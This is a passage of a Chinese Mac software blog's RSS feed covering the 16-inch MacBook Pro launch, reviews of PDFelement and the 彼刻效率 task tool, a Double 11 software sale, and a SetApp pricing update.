    更先进的散热设计

    + +

    采用 Mac 笔记本电脑迄今最先进的散热架构,令系统能持续以更高的功率运行。设计精密的风扇拥有更大的叶轮和加长的扇叶,再配合更大的通风口,使气流量增加 28%;而散热器也增大 35%,使得散热量与以往相比有了显著增加。由于系统散热能力的多方面提升,与上一代设计相比,16 RMBP 在应对繁重的处理工作时,持续功率最多可提升 12 瓦。

    + +

    Apple 推出 16 英寸 MacBook Pro,为专业用户带来 Mac 笔记本电脑的巅峰之作插图(3)

    + +

    强劲的处理器和高速的内存

    + +

    无论是编译代码、剪辑多机位视频还是制作三维动画,用户随处都需要专业级运算能力。为向用户提供疾速的性能表现,新款配备最新 6 核和 8 核第九代处理器,Turbo Boost 睿频加速最高可达 5.0 GHz,相比 4 核 15 英寸 MacBook Pro,其性能提升最高可达 2.1 倍1。强劲的中央处理器,在 Mac 笔记本电脑上首次可选配高达 64GB 高速内存,加上更先进的散热设计,使它能够胜任 MacBook Pro 上前所未见的专业工作负荷。

    + +

    与最快的 4 核 15 英寸 MacBook Pro 相比:

    + +
      +
    • 音乐制作人在 Logic Pro X 中播放大型多音轨项目,其中 Amp Designer 插件数量最多可增加至 2.1 倍。
    • +
    • 科学家和研究人员在 MATLAB 中进行动力系统模拟时,速度可提升至 2.1 倍。
    • +
    • 开发者使用 Xcode 编译代码时,速度最高可提升至 1.8 倍。
    • +
    • 摄影师在 Photoshop 中为照片应用复杂的编辑效果时,速度可提升至 1.7 倍。
    • +
    + +

    Apple 推出 16 英寸 MacBook Pro,为专业用户带来 Mac 笔记本电脑的巅峰之作插图(4)

    + +

    新一代图形处理器

    + +

    配备新的 AMD Radeon Pro 5000M 系列图形处理器,这是首款为专业用户打造的 7 纳米制程移动独立显卡。在 Mac 笔记本电脑上首次可选配 8GB 的 GDDR6 显存,专业用户从此能够比以往更快速地处理需要大量图形处理器资源的任务。用户选择标配图形处理器时,将会实现比上一代标配提升至 2.1 倍的图形处理性能。选择高配图形处理器时,将会实现比上一代高配提升最高可达 80% 的图形处理性能。

    + +

    与上一代采用高配图形处理器的 8 核 15 英寸 MacBook Pro 相比:

    + +
      +
    • 视频剪辑师进行 DaVinci Resolve 调色时,可实现最高可提升至 1.8 倍的特效渲染速度。
    • +
    • 玩家将能以最高可提升至 1.6 倍的性能更流畅地运行 Fortnite 之类的游戏。
    • +
    • 开发者使用 Unity 进行游戏开发时,可体验提升至 1.4 倍的场景演示速度。
    • +
    • 采用 100 瓦时的电池为这些性能提供动力,这是 Mac 笔记本电脑诞生以来容量最 大的电池,将电池续航再延⻓一个小时,使无线网络浏览或视频 app 播放时间最⻓可 达 11 小时。
    • +
    + +

    Apple 推出 16 英寸 MacBook Pro,为专业用户带来 Mac 笔记本电脑的巅峰之作插图(5)

    + +

    首次可选配 8TB 固态硬盘

    + +

    由于专业人士需要笔记本电脑提供更大的容量来存储庞大资料库和大型项目,新款将标配的固态硬盘存储加倍提升至 512GB 和 1TB。与此同时,它首次拥有惊人的 8TB 存储选配方案,其固态硬盘存储容量为历代 Mac 笔记本电脑之最。

    + +

    更高保真度的音频输出

    + +

    采用了彻底重新设计的六扬声器高保真音响系统,为音乐人、播客制作者和视频剪辑师带来 Mac 笔记本电脑上更进一步的音频体验。振动抵消低音单元以新的 Apple 专利技术打造而成,采用两个相对的扬声器驱动单元来减少影响音质的杂音,使最终的音响效果比以往更清晰更自然,还使低音的音域再低半个八度。经升级的高性能麦克风阵列将嘶嘶声降低了 40%,并进一步提升了信噪比,使其几乎可媲美常见的专业级数字麦克风,带来音色纯净的录音作品,甚至能够捕捉极为轻柔的细节。

    + +

    关于 macOS

    + +

    深色模式下,控制功能会在 Mac 绚丽的视网膜显示屏上相应隐入深色背景中,而专业内容则会突出显示。利用 macOS Catalina 中新的随航功能,用户可将 iPad 用作第二个显示屏,或者配合 Apple Pencil 使 iPad 变身高精度的平板电脑输入设备。“访达”的画廊视图可让用户通过视图快速浏览文件,并轻松查看文件的元数据。macOS 不仅支持第三方 app 和设备的强大生态系统,还提供 Safari 浏览器、邮件、Pages 文稿、Numbers 表格和 Keynote 讲演等 Apple app,同时支持 Final Cut Pro X、Logic Pro X 和 Xcode 等高性能 app。

    + +

    Apple 推出 16 英寸 MacBook Pro,为专业用户带来 Mac 笔记本电脑的巅峰之作插图(6)

    + +

    Mac Pro 与 Pro Display XDR

    + +

    全新 Mac Pro 和 Apple Pro Display XDR 也将于 12 月发售。Mac Pro 为实现极致的性能、强大的扩展能力和卓越的配置潜能而设计,并可选配最多达 28 核的工作站级 Xeon 处理器、超大容量的 1.5TB 高性能内存系统、八个 PCIe 扩展插槽,以及采用强大显卡的图形处理架构。Pro Display XDR 拥有 32 英寸 6K 视网膜显示屏,采用 P3 广色域和 10 位色深,峰值亮度可达 1600 尼特,对比度更是达到 1000000:1,浏览视角超宽广。

    + +

    Apple 推出 16 英寸 MacBook Pro,为专业用户带来 Mac 笔记本电脑的巅峰之作插图(7)

    + +

    配置和价格

    + +

    16 英寸 MacBook Pro 的售价为 RMB 18999 起,现在已经上架 Apple Store(app):

    + +

    两个配置:

    + +

    Apple 推出 16 英寸 MacBook Pro,为专业用户带来 Mac 笔记本电脑的巅峰之作插图(8)

    + +

    Mac Pro 和 Pro Display XDR 两款产品均将于 12 月开始在苹果官网上接受订购。

    + +
    + +
    Apple 于 1984 年推出 Macintosh,为个人技术带来了巨大变革。今天,Apple 凭借 iPhone、iPad、Mac、Apple Watch 和 Apple TV 引领全球创新。Apple 的四个软件平台,iOS、macOS、watchOS 和 tvOS,带来所有 Apple 设备之间的顺畅使用体验,同时以 App Store、Apple Music、Apple Pay 和 iCloud 等突破性服务赋予人们更大的能力。Apple 的 100,000 名员工致力于打造全球顶尖的产品,并让世界更加美好。
    +

    本文发表自Mac玩儿法,转载请注明转自《Apple 推出 16 英寸 MacBook Pro,为专业用户带来 Mac 笔记本电脑的巅峰之作

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/new-16-inch-macbook-pro-released/feed + 0 +
    + + 万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验 + https://www.waerfa.com/wondershare-pdfelement-chinese-version-review + https://www.waerfa.com/wondershare-pdfelement-chinese-version-review#respond + Mon, 04 Nov 2019 05:02:00 +0000 + + + + + + + + + + https://www.waerfa.com/?p=106184 + + 万兴PDF专家在国外的名字叫 Wondershare PDFelement,这款集“创建、格式转换、编辑、图文转换(OCR)、表单处理和签名等众多操作”的 PDF 软件应该有着很长的出口转内销经历,他们在海外市场、企业客户拥有很深入的开发经验,如今这款软件以“万兴PDF专家”的名字攻入国内个人用户市场(后面简称“PDF专家”),来看看这款软件有哪些优势吧!

    + +

    万兴PDF专家官方网站

    + +

    在整个软件的版本编制中,PDF专家算是 PDFelement 的第七代,目前版本号 7.5.x,与 6.x 相比,Open 界面已经抛弃了快速操作入口的集合设计,取而代之的是 recent files 的列表。

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图

    + +

    PDF 编辑与管理

    + +

    PDF专家支持在 PDF 中编辑文本、图像和链接,比如,在编辑文本时你可以随时更改字体的属性,就像编辑一个富文本一样简单,字集、粗细、字号、颜色、斜体、对齐方式。

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(1)

    + +

    PDF专家的界面设计是我最喜欢的,非常的简练,左侧是“标记、文本、图像、链接、表单、密文、OCR 等等”工具栏,右侧是页面组织、缩放、书签、缩略图列表、搜索、尺寸自适应的工具栏,顶部是每个工具的操作选项设定工具栏。

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(2)

    + +

    在 PDF专家插入、编辑一张图片非常的方便,你可以对图片进行翻转、快速替换、裁剪、尺寸定义、提取等操作。

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(3)

    + +

    PDF专家可以对文档文本添加链接,可以指向外链地址(如上图),也可以将链接指向 PDF 文档内部的页面(如下图):

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(4)

    + +

    PDF专家支持插入、更新或删除自定义水印和背景,比如说插入背景,可以是插入纯色背景、或者是插入外部的图片。

    + +

    背景模板可以设置旋转度,不透明度,相对于目标页面的比例,以及背景的位置及具体参数,设置的时候右边有预览的:

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(5)

    + +

    在软件右边的页面组织管理工具栏进入“文档处理页面”,我们可以对文档的各个单页进行重组,插入新的页面,提取页面到独立文档,甚至是页面的旋转、删除都可以做到。

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(6)

    + +

    标记 & 注释PDF

    + +

    大家看看下面这张图,PDF专家在标记 PDF 文档这个领域可以说是做到了极致,看下面这张样图,高亮显示,便签,文本框,图章,手绘涂鸦,底线,删除线都可以添加,你可以在注释列表查看这些标记内容,并且支持快速定位标记内容。

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(7)

    + +

    PDF转换器(部分格式专业版特有)

    + +

    PDF专家自带 PDF 文档转换功能,标准版支持的输出格式包括:docx, .xlsx, .pptx, .jpg, .png, .gif, .bmp;而专业版则支持输出:EPUB, HTML, Text, RTF,你可以在 menubar 操作,也可以在左侧的工具栏里用专用页面操作:

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(8)

    + +

    转换格式后可保持文本、图像、图形、字体和嵌入元素的原始布局:

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(9)

    + +

    文档加密

    + +

    PDF专家支持设置密码,用来防止未经授权的使用者打开 PDF。在设置口令加密时用户可以设置允许打印的分辨率,允许操作文档的各种权限级别(下图):

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(10)

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(11)

    + +

    关于 OCR 图文识别(专业版特有)

    + +

    PDF专家的专业版自带 OCR 图文识别功能,采取的 ABBYY FINEREADER 引擎,可以对扫描后的图片、已有 PDF 文件的字符提取、编辑,支持 29 种语言识别。

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(12)

    + +

    我们对已有的 PDF 文档进行 OCR 的成功率非常高,可以是在 95% 以上的准确率上,但是对扫描出来的纸质文件中的文本内容进行识别还是很有挑战难度的,经过实测,我们拍了一张理光相机纸质说明书,然后放入 PDF专家进行识别,文档语言勾选中文,英文,缩减像素采样 300dpi,就得出了下面这样的界面,总的来说,对英文字符识别的很好,但是中文字符有个别空缺,特殊符号代替的问题存在,而且对 OCR 识别对象进行扫描识别时需要确保文件页面的干净整洁,不然识别出来的结果很糟糕。

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(13)

    + +

    创建和签署(专业版特有)

    + +

    PDF专家可以用可交互式窗体项去创建可供用户填写的 PDF 表格,比如:

    + +
      +
    • 按钮
    • +
    • 勾选框
    • +
    • 复选框
    • +
    • 列表框
    • +
    • 下拉表
    • +
    • 数字签名
    • +
    + +

    由于这部份用文字、静态图片去介绍太不直观,我们做了二个小 GIF:

    + +
    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(14)
    展示交互式表格按钮
    + +
    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(15)
    生成后交互过程
    + +

    合并与拆分PDF(专业版特有)

    + +

    PDF专家可以将不同格式的文档合并为新的 PDF 或者将一个 PDF 拆分成多个文档,以合并 PDF 举例,我们把被合并 PDF 文档添加进来后(左下角”添加”按钮或中间的隐藏图标按钮),然后将需要合并进来的 PDF 文档插入到第一页前或最后一页,甚至是指定这个文档出现在哪个页码后:

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(16)

    + +

    批量处理 PDF 文件(专业版特有)

    + +

    此外,专业版 PDF专家还支持批量的去处理背景、水印、页眉和页脚添加、格式转换、数据提取、水印添加、OCR 识别、加密等等,这张批量处理会出现在每个功能模块里

    + +

    贝茨码(专业版特有)

    + +

    支持在文档里添加贝茨码,操作窗口内可以预览效果,对贝茨码设置文本格式,位置设定,填写数字位数,起始编号,前后缀等等,这个操作和页眉页脚的插入操作非常相像。

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(17)

    + +

    支持设备

    + +

    PDF专家除了支持 Mac 平台,还在 Windows、iPhone、iPad、Android 推出客户端。

    + +

    万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验插图(18)

    + +

    关于版本说明

    + +

    进入国内市场的万兴PDF专家在 Mac App Store 上架销售,分为标准版与专业版,标准版覆盖了“PDF编辑器 + PDF注释器+ PDF转换器 + PDF阅读器 + PDF创建+表单填写”功能,而专业版则在标准版中所有功能的基础上提供了“OCR +批处理操作+ PDF/A 支持 + 表单创建+更多输出格式支持”服务。具体价格可进入官网了解。

    + +

    目前官方的双11活动已经开始啦,提前优惠到 8 折。

    + +

    Mac 版下载  |   Win 版下载

    + +

    万兴PDF专家官方网站

    +

    本文发表自Mac玩儿法,转载请注明转自《万兴PDF专家:秒会的全能PDF编辑神器,Mac 版上手体验

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/wondershare-pdfelement-chinese-version-review/feed + 0 +
    + + 彼刻效率:提升10倍工作效率的任务管理软件 + https://www.waerfa.com/bekerlist-review + https://www.waerfa.com/bekerlist-review#respond + Mon, 04 Nov 2019 03:39:55 +0000 + + + + + https://www.waerfa.com/?p=106218 + + 今天我们介绍的一款产品,并不是一款单纯的软件或者移动app,而是一个综合的,以网盘为基础的,无缝整合「任务 + 文档 + 笔记 + 沟通」的多人协同工具,TA 就是:彼刻效率

    + +

    彼刻效率适用于很多应用场景,比如:软件/产品开发、团队管理、自由职业者规划、个人生活(时间管理,学习计划,知识管理等)。

    + +

    痛点回忆

    + +

    在介绍主角之前我想问问大家是否都遇到过同一种境遇,特别是从事IT、高科技行业的小伙伴们你们的公司是否还在用微信办公?

    + +

    国内有许多公司都喜欢用“微信群”这个东西“治企”,针对不同部门,不同项目,不同需求,公司从领导层到行政部,再到后台各个部室,再到一线生产经营部门,大大小小的微信群真的能承包你日常微信消息列表的首屏,别说首屏,第二、第三也都有这个可能,这么多微信群,新的消息每分钟,每小时都在不停的更新。不断冒出的小红点打断你的工作进度,拉扯你紧绷的神经,耗费你大量的时间翻过无关的消息找到自己需要关注的那些,极其低下的沟通造就极其低下的工作效率,于是,你每晚加班,弥补“丢失”在微信里的3个小时。

    + +

    运气好遇上细致的同事,在谈及与你相关的工作时都能@你,沟通也能勉勉强强接受,但你发个文件试试?发送的重要文件依然狗血的只保留在本地,那些强迫症爱清理手机内容的同事可顾不上你强调过的重要,文件失效以后依旧找你要。

    + +

    两到三个人在里面沟通的效率极其低下,你发个文件,说很重要,但其他人可能并不能及时看到获取,而且微信对文件管理的设计还停留在婴儿阶段,由于在大群里沟通不畅,于是同事们为了及时沟通完成任务再私底下组成一个个小群,或者还是需要 QQ,Email 进行文件传输等工具辅助,微信群这个东西完全成了领导自己的专有利器,他只需要 at 全体,吼出自己心里的欲望即可,而不会关注大家是否沟通顺畅,而现在的领导还特么特别喜欢让员工在微信群里汇报工作。。

    + +

    就这样微信群以病毒一样的无限分裂下去,其实工作就那么几项,但微信群的分裂生长让你与团队成员的协同变得如此麻烦。

    + +

    救世主:彼刻效率

    + +

    而彼刻效率这样的产品正是为了解决团队协同低效问题而生的,它的特点就是在建立一个项目的基础上,用户可以创建无限的任务列表,然后在其中一个任务下一级再创建多个子任务,以此类推,你可以创建无限层级的子任务,直到把工作理清,而事实上大部分工作需要创建的层级子任务并不会太深入。

    + +

    彼刻效率:提升10倍工作效率的任务管理软件插图

    + +

    其次彼刻效率并没有遵循 Trello 这样的卡片设计,而是创新式的将文件、文档、聊天三个元素与每个任务紧密捆绑起来,每个任务你都能以此为单位展开一个聊天,与任务相关的文件文档也都能作为附件保存在子节点中;同时,当我把文档、文件插入到某个任务子级时,它本身也可以被视作是一项任务,你可以在他身上新建一个聊天,与同事就这个文件(文档)进行工作讨论,而省去展开一个新的任务去规划这个工作,围绕这个文档、文件的工作完成后,成员们停止讨论即可,继续关注其他任务即可。

    + +

    彼刻效率:提升10倍工作效率的任务管理软件插图(1)

    + +

    彼刻效率:提升10倍工作效率的任务管理软件插图(2)

    + +

    用官方的话说就是:

    + +
      +
    • 文件 – 即任务
    • +
    • 文档 – 即任务
    • +
    • 聊天 – 即任务
    • +
    + +

    下面我们以在软件开发这个典型的工作场景下使用彼刻效率,来看看 TA 能够给团队协同带来哪些变化以及在哪方面带来了效率的提高。

    + +

    在左侧“我的项目”旁边点击加号新建一个项目,设置项目名称,接下来你就可以创建不限层级的任务了,彼刻效率这种不限层级的任务创建以及文件即任务,聊天即任务的组织形式可以让你根据任务的不同形态自由组合每一层级里任务的耦合形式,比如在“需求挖掘”这个项目里,可以分为“项目投资评审”、“客户见面会”、“客户痛点分析”、“客户行业分析”、“需求列举”、“需求确认”等等这些子任务,然后你也可以在他们这个层级里新建一个备注或者上传对应的文件。

    + +

    然后再看“项目投资评审”这个子任务,它的下面还会再拓展出负责组织“运送乙方派驻甲方工作 on-site人员的车辆照片”的三级任务,也就是“派驻客户车辆计划”里,所有运输车辆的照片都可以一键拖入进来,每一个负责运输 on-site 人员的车辆都可以设置自己的车辆品牌/型号,负责监管的成员,每天的早晚班车出发时间设定,添加标签等等,而这一辆车如果每天需要搭载的 on-site 人员飘忽不定,你还可以选择在其上面新建一个聊天线程,每天需要坐这辆车的同事们都可以在这个沟通,确定每天乘坐车辆的人员名单。

    + +

    彼刻效率:提升10倍工作效率的任务管理软件插图(3)

    + +

    同理,在“人员组织”这个子任务,我们可以就项目的特点在公司招纳适合的人员,这个任务可以由项目经理与认识leader共同关注,比如这个项目需要的 UI 设计人员,后端开发人员,产品经理,售前经理等等备选人员名单都可以放在下一级任务层级里,比如以人员的免冠照片这种文件进行陈列即可,然后在每位人员的下一级任务放入备注,介绍一下他的主要技能以及个人简历等等,供项目经理与 hr leader 共同确认项目组队人选,这样的组织形式绝对要比微信里沟通,开微信群去沟通要方便太多。

    + +

    彼刻效率:提升10倍工作效率的任务管理软件插图(4)

    + +

    这次我们对彼刻效率的介绍先到这里,下期我们会继续为大家带来其他场景下关于这款服务的更多经验分享。

    + +
    官网免费使用:彼刻效率
    +

    本文发表自Mac玩儿法,转载请注明转自《彼刻效率:提升10倍工作效率的任务管理软件

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/bekerlist-review/feed + 0 +
    + + 给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包 + https://www.waerfa.com/lizhi-double-11-2019-exclusive + https://www.waerfa.com/lizhi-double-11-2019-exclusive#respond + Sat, 02 Nov 2019 02:44:42 +0000 + + + + https://www.waerfa.com/?p=106207 + + + +

    我们的小伙伴数码荔枝店铺今年的双十一活动已经从 11 月 1 日开始拉,这次活动内容有:进店抽红包(最高 200 元),从 11 月 1 日到 11 月 10 日每天抢一款经典好软,限制数量发放 20 枚,价格仅为 1.11 元,以及最重要的 30 款好软已经开始进入 6 折状态。详细报道请看下文:

    + +

    1.11 元秒杀好软

    + +

    从 11 月 1 日到 11 月 10 日,大家可以在每天去店铺里抢一款经典好软,每款每天限制发放数量 20 枚,价格仅为 1.11 元,抢购时间为下午 3 点以及晚上 8 点。

    + +

    AdGuard 11 月 1 日 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(1)

    Adguard

    广告拦截你会选择它吗?

    + +

    PDF Expert 11 月 2 日 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(2)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(3)

    PDF Expert 2 for Mac

    顶级 PDF 文档编辑软件

    + +

    cFosSpeed 11 月 3 日 购买直达

    + +

    Downie 11 月 4 日 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(4)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(5)

    Downie

    OS X 超级视频下载王

    + +

    Fences 11 月 5 日 购买直达

    + +

    MacBooster  11 月 6 日 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(6)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(7)

    MacBooster

    我是系统优化清理圈里的经济适用男

    + +

    iSlide 11 月 7 日 购买直达

    + +

    NTFS for Mac 助手 11 月 8 日 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(8)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(9)

    NTFS 助手

    让你的 Mac 无障碍快速读写任意外置硬盘

    + +

    IDM 11 月 9 日 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(10)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(11)

    Internet Download Manager

    Win 平台最好的下载工具选择

    + +

    iMazing 11 月 10 日 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(12)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(13)

    iMazing 2.5

    iTunes 不玩的我来接棒

    + +

    以上这些软件在 11 月 11 日 00:00 还会开始集体返场,每款 10 个仍旧会参加 11.11 元秒杀!

    + +

    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(14)

    + +

    部分好软 6 折

    + +

    数码荔枝店铺内从 11.1 到 11.15 还有 30 余款高人气的热门软件打 6 到 7 折的优惠:

    + +

    IDM 149 – 55 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(10)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(11)

    Internet Download Manager

    Win 平台最好的下载工具选择

    + +

    MoneyWiz 169 – 101 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(17)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(18)

    MoneyWiz 3

    新装上阵,更加精彩

    + +

    Permute 69 – 41 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(19)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(20)

    Permute 3 Beta 体验

    更加精致,更加体贴

    + +

    iText 78 – 6  购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(21)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(22)

    iText

    懒汉!用它能从图片提取文字!「特惠版上架」

    + +

    Apowersoft 199 – 41 购买直达1  | 购买直达2购买直达3

    + + + + + + + +

    tagLyst 259 – 41  购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(29)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(30)

    tagLyst Next

    “标签式”文件资料分类整合利器

    + +

    WPS Office 179 – 12 购买直达

    + + + +

    Eagle 199 – 139 购买直达

    + + + +

    SideNotes  119 -71  购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(35)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(36)

    SideNotes

    让你随时在 Mac 屏幕上管理笔记

    + +

    MWeb 119 – 60 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(37)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(38)

    MWeb

    一站式 Markdown 编辑 + 静态网站生成解决方案

    + +

    PDF Expert 99 – 89 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(2)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(3)

    PDF Expert 2 for Mac

    顶级 PDF 文档编辑软件

    + +

    AdGuard 312 – 43 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(1)

    Adguard

    广告拦截你会选择它吗?

    + +

    Downie 79 – 47 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(4)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(5)

    Downie

    OS X 超级视频下载王

    + +

    iPic 60 – 4.8 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(45)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(46)

    iPic

    网络插图极致体验方案「特惠版上架」

    + +

    Folx 199 – 59 购买直达

    + + + +

    GoodSync 99 – 59 购买直达

    + + + +

    Bartender 89 – 62 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(51)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(52)

    Bartender 3

    从"管家"到"大师"的蜕变「国内特惠正版出炉,仅7折」

    + +

    iMazing 269 – 69 购买直达

    + +
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(12)
    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(13)

    iMazing 2.5

    iTunes 不玩的我来接棒

    + +

    进店抽 200 元大红包

    + +

    最后一个活动,关注这家店铺、分享抽奖、任意消费并好评,就能分别获得一次抽奖机会,一共三次,最高有 200 元金额的现金红包。

    + +
    +

    进入数码荔枝店铺

    +
    + +

    给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包插图(55)

    +

    本文发表自Mac玩儿法,转载请注明转自《给“荔”双十一:1.11 元秒杀好软、部分好软 6 折起、抽 200 红包

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/lizhi-double-11-2019-exclusive/feed + 0 +
    + + SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台 + https://www.waerfa.com/setapp-review + https://www.waerfa.com/setapp-review#comments + Wed, 23 Oct 2019 15:17:34 +0000 + + + + + + http://www.waerfa.com/?p=38454 + + 2019.10.23 更新:目前 SetApp 的家庭版已经从 $14.99 涨价到 $19.99,而且可以容纳的乘客(family member)也从 7 人下降到了 5 人,原因是除了 owner 自己的 2 台名额,他只能邀请 3 个人上车,每人仅限一台 Mac,也就是 2+3,一共 5 台设备的座位数量,折合人民币,每人需支付 28 元左右。

    + +

    下载 Setapp 客户端(macOS)| 访问 Setapp 购买页面 

    + +

    原有的单人版月租 $9.99 与包年套餐($8.99/月)价格依然没有变化。

    + +

    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图

    + +

    虽然说 family plan 涨价又减座,但是它仍然是软件集中订阅制平台的不二选择,今年该平台又入住了以下 Mac 软件:

    + + + + + + + + + + + + + + + + + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(17)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(18)

    SideNotes

    让你随时在 Mac 屏幕上管理笔记

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(19)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(20)

    Trickster

    提高 macOS 操作文件的速度

    + + + + + + + + + + + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(31)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(32)

    One Switch

    一个集合一键切换系统各项功能的神奇菜单「特惠价格仅需 39 元」

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(33)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(34)

    Movist

    高清电影播放必选

    + + + + + + + + + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(43)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(44)

    MarsEdit 4

    老牌博客编辑软件四代目发布!

    + +
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(45)
    SetApp:虽然发车座位缩减,但依然是最好的软件集合订阅制平台插图(46)

    Yoink

    Mac 临时文件存储助手「更新 File Recall 等新功能」

